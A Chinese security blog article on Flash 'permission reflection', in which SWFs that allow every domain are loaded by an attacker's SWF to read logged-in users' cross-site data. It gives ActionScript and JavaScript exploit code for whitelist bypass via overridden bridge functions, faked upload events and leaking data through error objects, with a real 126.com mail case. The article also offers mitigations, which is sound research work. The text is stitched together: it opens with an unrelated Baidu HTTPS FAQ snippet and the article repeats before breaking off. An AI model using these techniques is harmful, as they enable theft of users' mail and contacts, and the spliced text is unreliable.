问题 10:我应该如何更爽更快切换到 https?

如此强悍有用的 https,我也想体验,在安全的互联网世界中翱翔,那么我该怎么做呢? 实际上你不需要动手,百度的攻城狮已经体贴的帮你做到了。现在访问百度试试,我们已经自动切换到 https 了,再也不用担心隐私泄露的问题,赶紧来体验吧! 另外以下一些技巧能有让 https 有更好的性能哦: 1 使用更高端大气上档次的浏览器(最好是非 IE 系列的,比如 chrome,firefox,safari 浏览器,或者百度等双核浏览器的极速模式。 2 把浏览器 首页或者收藏夹的百度 url 也换为 https://www.baidu.com,可以让你有更快更好的体验。 3 如何将百度设置成首页? 这里有详细的教程哦 http://www.baidu.com/cache/sethelp/help.html

隐私泄露杀手锏:Flash 权限反射

前言

一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。

事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。

原理

这一切还得从经典的授权操作说起:

Security.allowDomain('*')

对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样?

显然,这还停留在 XSS 的思维上。Flash 和 JS 通信确实存在 XSS 漏洞,但要找到一个能利用的 swf 文件并不容易:既要读取环境参数,又要回调给 JS,还得确保自动运行。

因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。

事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的 —— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf!

被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。

我们如何将这种关联,进行充分利用呢?

利用

关联容器

在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。

因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!

听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。

偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,继承了元素类的特征,在此之上实现额外的功能。

最典型的,就是每个 swf 的主类:它们都继承于 Sprite,即使程序里没用到任何界面相关的。

有这样扩展元素存在,我们就可以访问那些额外的功能了。

开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能:

// vul.swf
public class Vul extends Sprite {

    public var urlLoader:URLLoader = new URLLoader();

    public function download(url:String) : void {
        urlLoader.load(new URLRequest(url));
        ...
    }

    public function Vul() {
        Security.allowDomain('*');
        ...
    }
    ...
}

通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。

同时它也是主类,默认会被添加到 Loader 这个加载容器里。

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var main:* = DisplayObjectContainer(loader).getChildAt(0);

    trace(main);    // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));

因为 Loader 是子 swf 的默认容器,所以其中第一个元素显然就是子 swf 的主类:Vul。

由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它:

main.download('//swf-site/data');

同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件:

var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
    trace(ld.data);
});

尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行 URLLoader 的 load 方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。

于是攻击者从任意位置,跨站访问 swf-site 下的数据了。

更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果某个站点允许 swf-site,那么它也成了受害者。

如果用户正处于登录状态,攻击者悄悄访问带有个人信息的页面,用户的隐私数据可能就被泄露了。攻击者甚至还可模拟用户请求,将恶意链接发送给其他好友,导致蠕虫传播。

ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。

类反射

通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。

如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了?

做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的?

事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。

因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。

开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作:

// vul.swf
public class Tool {
    public function getUrlData(url:String, cb:Function) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            cb(ld.data);
        });
        ...
    }
    ...

在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用:

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
    var obj:* = new cls;

    obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
        trace(d);
    });
});
loader.load(new URLRequest('//swf-site/vul.swf'));

由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。

攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。

由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。

当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以:

  • 执行 Security.allowDomain(可控站点)
  • 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义
  • 返回的数据可被获取

第一条:这就不用说了,反射的前提也是需要对方授权的。

第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。

第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。

也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。

同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。

因此我们还是得通过目标 swf 里的已有的功能,进行利用。

案例

这里分享一个现实中的案例,之前已上报并修复了的。

这是 126.com 下的一个 swf,位于 http://mail.126.com/js6/h/flashRequest.swf。

反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了!

同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的:

我们将其反射出来,根据其规范调用,即可发起跨源请求了!

由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了:

甚至还可以读取用户的通信录,将恶意链接传播给更多的用户!

进阶

借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。

进阶 No.1 —— 绕过路径检测

当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain(‘*’) 的。

一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程:

// vul-1.swf
public function Main() {
    var host:String = ExternalInterface.call('function(){return window.location.host}');

    if host not match white-list
        return

    Security.allowDomain('*');
    ...

它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。

由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径?

因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。

不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。

在这个桥梁里,其中有一个叫 __flash__toXML 的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。

显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它:

// exp-1.js
function handler(str) {
    console.log(str);
    return '<string>hi,jack</string>';
}
setInterval(function() {
    var rawFn = window.__flash__toXML;
    if (rawFn && rawFn != handler) {
        window.__flash__toXML = handler;
    }
}, 1);

通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了!

为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让 __flash__toXML 提前注入。之后子 swf 使用时,已经是被覆盖的版本了。


当然,即使不使用覆盖的方式,我们仍可以控制 __flash__toXML 的返回结果。

仔细分析下这个函数,其中调用了 __flash__escapeXML:

function __flash__toXML(value) {
    var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    ...
}

function __flash__escapeXML(s) {
    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
}

里面有一大堆的实体转义,但又如何进行利用?

因为它是调用 replace 进行替换的,然而在万恶的 JS 里,常用的方法都是可被改写的!我们可以让它返回任何想要的值:

// exp-1.js
String.prototype.replace = function() {
    return 'www.test.com';
};

甚至还可以针对 __flash__escapeXML 的调用,返回特定值:

String.prototype.replace = function F() {
    if (F.caller == __flash__escapeXML) {
        return 'www.test.com';
    }
    ...
};

于是 ExternalInterface.call 的问题就这样解决了。人为返回一个白名单里的域名,即可绕过初始化中的检测,从而顺利执行 Security.allowDomain(*)。

所以,绝不能相信 JS 返回的内容。连标点符号都不能信!


进阶 No.2 —— 构造请求条件

下面这个案例,是某社交网站的头像上传 Flash。

不像之前那些,都可顺利找到公开的网络接口。这个案例十分苛刻,搜索整个项目,只出现一处 URLLoader,而且还是在 private 方法里。

// vul-2.swf
public class Uploader {

    public function Uploader(file:FileReference) {
        ...
        file.addEventListener(Event.SELECT, handler);
    }

    private function handler(e:Event) : void {
        var file:FileReference = e.target as FileReference;

        // check filename and data
        file.name ...
        file.data ...

        // upload(...)
    }

    private function upload(...) : void {
        var ld:URLLoader = new URLLoader();
        var req:URLRequest = new URLRequest();
        req.method = 'POST';
        req.data = ...;
        req.url = Param.service_url + '?xxx=' ....
        ld.load(req);
    }
}

然而即使要触发这个方法也非常困难。因为这是一个上传控件,只有当用户选择了文件对话框里的图片,并通过参数检验,才能走到最终的上传位置。

唯一可被反射调用的,就是 Uploader 类自身的构造器。同时控制传入的 FileReference 对象,来构造条件。

// exp-2.swf
var file:FileReference = new FileReference();

var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);

然而 FileReference 不同于一般的对象,它会调出界面。如果中途弹出文件对话框,并让用户选择,那绝对是不现实的。

不过,弹框和回调只是一个因果关系而已。弹框会产生回调,但回调未必只有弹框才能产生。因为 FileReference 继承了 EventDispatcher,所以我们可以人为的制造一个事件:

file.dispatchEvent(new Event(Event.SELECT));

这样,就进入文件选中后的回调函数里了。

由于这一步会校验文件名、内容等属性,因此还得事先给这些属性赋值。然而遗憾的是,这些属性都是只读的,根本无法设置。

等等,为什么会有只读的属性?属性不就是一个成员变量吗,怎么做到只能读不可写?除非是 const,但那是常量,并非只读属性。

原来,所谓的只读,就是只提供了 getter、但没有 setter 的属性。这样就保证了属性内部可变,但外部不可写的特征。

如果我们能 hook 这个 getter,那就能返回任意值了。然而 AS 里的类默认都是密闭的,不像 JS 那样灵活,可随意篡改原型链。

事实上在高级语言里,有着更为优雅的 hook 方式,我们称作『重写』。我们创建一个继承 FileReference 的类,即可重写那些 getter 了:

// exp-2.swf
class FileReferenceEx extends FileReference {

    override public function get name() : String {
        return 'hello.gif';
    }
    override public function get data() : ByteArray {
        var bytes:ByteArray = new ByteArray();
        ...
        return bytes;
    }
}

根据著名的『里氏替换原则』,任何基类可以出现的地方,子类也一定可以出现。所以传入这个 FileReferenceEx 也是可接受的,之后一旦访问 name 等属性时,自然就落到我们的 getter 上了。

// exp-2.swf
var file:FileReference = new FileReferenceEx();  // !!!
...
var obj:* = new cls(file);

到此,我们成功模拟了文件选择的整个流程。

接着就到关键的上传位置了。庆幸的是,它没写死上传地址,而是从环境变量(loaderInfo.parameters)里读取。

说到环境变量,大家首先想到网页中 Flash 元素的 flashvars 属性,但其实还有两个地方可以传入:

  • swf url query(例如 .swf?a=1&b=2)
  • LoaderContext

由于 url query 是固定的,后期无法修改,所以选择 LoaderContext 来传递:

// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
    'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因为 LoaderContext 里的 parameters 是运行时共享的,这样就能随时更改环境变量了:

// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';

同时为了不让多余的参数发送上去,还可以在 URL 末尾放置一个 #,让后面多余的部分变成 Hash,就不会走流量了。

尽管这是个很苛刻的案例,但仔细分析还是找出解决办法的。

当然,我们目的并不是为了结果,而是其中分析的乐趣:)


进阶 No.3 —— 捕获返回数据

当然,光把请求发送出去还是不够的,如果无法拿到返回的结果,那还是白忙活。

最理想的情况,就是能传入回调接口,这样就可直接获得数据了。但现实未必都是这般美好,有时我们得自己想办法取出数据。

一些简单的 swf 通常不会封装一个的网络请求类,每次使用时都直接写原生的代码。这样,可控的因子就少很多,利用难度就会大幅提升。

例如这样的场景,尽管能控制请求地址,但由于没法拿到 URLLoader,也就无从获取返回数据了:

public function download(url:String) : void {
    var ld:URLLoader = new URLLoader();
    ld.load(new URLRequest(url));
    ld.addEventListener('complete', function(e:Event) : void {
        // do nothing
    });
}

但通常不至于啥也不做,多少都会处理下返回结果。这时就得寻找机会了。

一旦将数据赋值到公开的成员变量里,那么我们就可通过轮询的方式来获取了:

public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
    data = e.data;
});

或者,将数据存放到了某个元素里,用于显示:

private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
    textbox.text = e.data;
});

同样可以利用文章开头提到的方法,从父容器里找出相应的元素,定时轮询其中的内容。

不过这些都算容易解决的。在一些场合,返回的数据根本不符合预期的格式,因此就无法处理直接报错了。


下面是个非常普遍的案例。在接收事件里,将数据进行固定格式的解码:

// vul-3.swf
import com.adobe.serialization.json.JSON;

ld.addEventListener('complete', function(e:Event) : void {
    var data:* = JSON.decode(e.data);
    ...
});

因为开发人员已经约定使用 JSON 作为返回格式,所以压根就没容错判断,直接将数据进行解码。

然而我们想要跨站读取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在这里了。

难道就此放弃?都报错无法往下走了,那还能怎么办。唯一可行的,就是将错就错,往『错误』的方向走。

一个强大的运行时系统,都会提供一些接口,供开发者捕获全局异常。HTML 里有,Flash 里当然也有,甚至还要强大的多 —— 不仅能够获得错误相关的信息,甚至还能拿到 throw 出来的那个 Error 对象!

一般通用的类库,往往会有健全的参数检验。当遇到不合法的参数时,通常会将参数连同错误信息,作为异常抛出来。如果某个异常对象里,正好包含了我们想要的敏感数据的话,那就非常美妙了。

就以 JSON 解码为例,我们写个 Demo 验证一下:

var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);

我们尝试将 HTML 字符传入 JSON 解码器,最终被断在了类库抛出的异常处:

异常中的前两个参数,看起来没多大意义。但第三个参数,里面究竟藏着是什么?

不用猜想,这正是我们想要的东西 —— 传入解码器的整个字符参数!

如此,我们就可在全局异常捕获中,拿到完整的返回数据了:

loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
    trace(e.error.text);
});

惊呆了吧!只要仔细探索,一些看似不可能实现的,其实也能找到解决方案。

补救

如果从代码层面来修补,短时间内也难以完成。

大型网站长期以来,积累了相当数量的 swf 文件。有时为了解决版本冲突,甚至在文件名里使用了时间、摘要等随机数,这类的 swf 当时的源码,或许早已不再维护了。

因此,还是得从网站自身来强化。crossdomain.xml 中不再使用的域名就该尽早移除,需要则尽可能缩小子域范围。毕竟,只要出现一个带缺陷的 swf 文件,整个站点的安全性就被拉低了。

事实上,即使通过反射目标 swf 实现的跨站请求,referer 仍为攻击者的页面。因此,涉及到敏感数据读取的操作,验证一下来源还是很有必要的。

作为用户来说,禁用第三方 cookie 实在太有必要了。如今 Safari 已默认禁用,而 Chrome 则仍需手动添加。

总结

最后总结下,本文提到的 3 类权限:

  • 代码层面(public / private / …)
  • 模块层面(Security.allowDomain)
  • 站点层面(crossdomain.xml)

只要这几点都满足,就很有可能被用于跨源的请求。

也许会觉得 Flash 里坑太多了,根本防不胜防。但事实上这些特征早已存在,只是未被开发者重视而已。以至于各大网站如今仍普遍躺枪。

当然,信息泄露对每个用户都是受害者。希望能让更多的开发者看到,及时修复安全隐患。

隐私泄露杀手锏:Flash 权限反射,首发于博客 – 伯乐在线

隐私泄露杀手锏 —— Flash 权限反射

前言

一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。

事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。

原理

这一切还得从经典的授权操作说起:

Security.allowDomain('*')

对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样?

显然,这还停留在 XSS 的思维上。Flash 和 JS 通信确实存在 XSS 漏洞,但要找到一个能利用的 swf 文件并不容易:既要读取环境参数,又要回调给 JS,还得确保自动运行。

因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。

事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的 —— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf!

被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。

我们如何将这种关联,进行充分利用呢?

利用

关联容器

在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。

因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!

听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。

偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,继承了元素类的特征,在此之上实现额外的功能。

最典型的,就是每个 swf 的主类:它们都继承于 Sprite,即使程序里没用到任何界面相关的。

有这样扩展元素存在,我们就可以访问那些额外的功能了。

开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能:

// vul.swf
public class Vul extends Sprite {

    public var urlLoader:URLLoader = new URLLoader();

    public function download(url:String) : void {
        urlLoader.load(new URLRequest(url));
        ...
    }

    public function Vul() {
        Security.allowDomain('*');
        ...
    }
    ...
}

通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。

同时它也是主类,默认会被添加到 Loader 这个加载容器里。

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var main:* = DisplayObjectContainer(loader).getChildAt(0);

    trace(main);    // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));

因为 Loader 是子 swf 的默认容器,所以其中第一个元素显然就是子 swf 的主类:Vul。

由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它:

main.download('//swf-site/data');

同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件:

var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
    trace(ld.data);
});

尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行 URLLoader 的 load 方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。

于是攻击者从任意位置,跨站访问 swf-site 下的数据了。

更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果某个站点允许 swf-site,那么它也成了受害者。

如果用户正处于登录状态,攻击者悄悄访问带有个人信息的页面,用户的隐私数据可能就被泄露了。攻击者甚至还可模拟用户请求,将恶意链接发送给其他好友,导致蠕虫传播。

ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。

类反射

通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。

如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了?

做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的?

事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。

因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。

开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作:

// vul.swf
public class Tool {
    public function getUrlData(url:String, cb:Function) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            cb(ld.data);
        });
        ...
    }
    ...

在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用:

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
    var obj:* = new cls;

    obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
        trace(d);
    });
});
loader.load(new URLRequest('//swf-site/vul.swf'));

由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。

攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。

由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。

当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以:

  • 执行 Security.allowDomain(可控站点)
  • 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义
  • 返回的数据可被获取

第一条:这就不用说了,反射的前提也是需要对方授权的。

第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。

第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。

也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。

同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。

因此我们还是得通过目标 swf 里的已有的功能,进行利用。

案例

这里分享一个现实中的案例,之前已上报并修复了的。

这是 126.com 下的一个 swf,位于 http://mail.126.com/js6/h/flashRequest.swf。

反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了!

同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的:

我们将其反射出来,根据其规范调用,即可发起跨源请求了!

由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了:

甚至还可以读取用户的通信录,将恶意链接传播给更多的用户!

进阶

借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。

进阶 No.1 —— 绕过路径检测

当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain(‘*’) 的。

一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程:

// vul-1.swf
public function Main() {
    var host:String = ExternalInterface.call('function(){return window.location.host}');

    if host not match white-list
        return

    Security.allowDomain('*');
    ...

它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。

由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径?

因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。

不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。

在这个桥梁里,其中有一个叫 __flash__toXML 的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。

显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它:

// exp-1.js
function handler(str) {
    console.log(str);
    return '<string>hi,jack</string>';
}
setInterval(function() {
    var rawFn = window.__flash__toXML;
    if (rawFn && rawFn != handler) {
        window.__flash__toXML = handler;
    }
}, 1);

通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了!

为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让 __flash__toXML 提前注入。之后子 swf 使用时,已经是被覆盖的版本了。


当然,即使不使用覆盖的方式,我们仍可以控制 __flash__toXML 的返回结果。

仔细分析下这个函数,其中调用了 __flash__escapeXML:

function __flash__toXML(value) {
    var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    ...
}

function __flash__escapeXML(s) {
    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
}

里面有一大堆的实体转义,但又如何进行利用?

因为它是调用 replace 进行替换的,然而在万恶的 JS 里,常用的方法都是可被改写的!我们可以让它返回任何想要的值:

// exp-1.js
String.prototype.replace = function() {
    return 'www.test.com';
};

甚至还可以针对 __flash__escapeXML 的调用,返回特定值:

String.prototype.replace = function F() {
    if (F.caller == __flash__escapeXML) {
        return 'www.test.com';
    }
    ...
};

于是 ExternalInterface.call 的问题就这样解决了。人为返回一个白名单里的域名,即可绕过初始化中的检测,从而顺利执行 Security.allowDomain(*)。

所以,绝不能相信 JS 返回的内容。连标点符号都不能信!


进阶 No.2 —— 构造请求条件

下面这个案例,是某社交网站的头像上传 Flash。

不像之前那些,都可顺利找到公开的网络接口。这个案例十分苛刻,搜索整个项目,只出现一处 URLLoader,而且还是在 private 方法里。

// vul-2.swf
public class Uploader {

    public function Uploader(file:FileReference) {
        ...
        file.addEventListener(Event.SELECT, handler);
    }

    private function handler(e:Event) : void {
        var file:FileReference = e.target as FileReference;

        // check filename and data
        file.name ...
        file.data ...

        // upload(...)
    }

    private function upload(...) : void {
        var ld:URLLoader = new URLLoader();
        var req:URLRequest = new URLRequest();
        req.method = 'POST';
        req.data = ...;
        req.url = Param.service_url + '?xxx=' ....
        ld.load(req);
    }
}

然而即使要触发这个方法也非常困难。因为这是一个上传控件,只有当用户选择了文件对话框里的图片,并通过参数检验,才能走到最终的上传位置。

唯一可被反射调用的,就是 Uploader 类自身的构造器。同时控制传入的 FileReference 对象,来构造条件。

// exp-2.swf
var file:FileReference = new FileReference();

var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);

然而 FileReference 不同于一般的对象,它会调出界面。如果中途弹出文件对话框,并让用户选择,那绝对是不现实的。

不过,弹框和回调只是一个因果关系而已。弹框会产生回调,但回调未必只有弹框才能产生。因为 FileReference 继承了 EventDispatcher,所以我们可以人为的制造一个事件:

file.dispatchEvent(new Event(Event.SELECT));

这样,就进入文件选中后的回调函数里了。

由于这一步会校验文件名、内容等属性,因此还得事先给这些属性赋值。然而遗憾的是,这些属性都是只读的,根本无法设置。

等等,为什么会有只读的属性?属性不就是一个成员变量吗,怎么做到只能读不可写?除非是 const,但那是常量,并非只读属性。

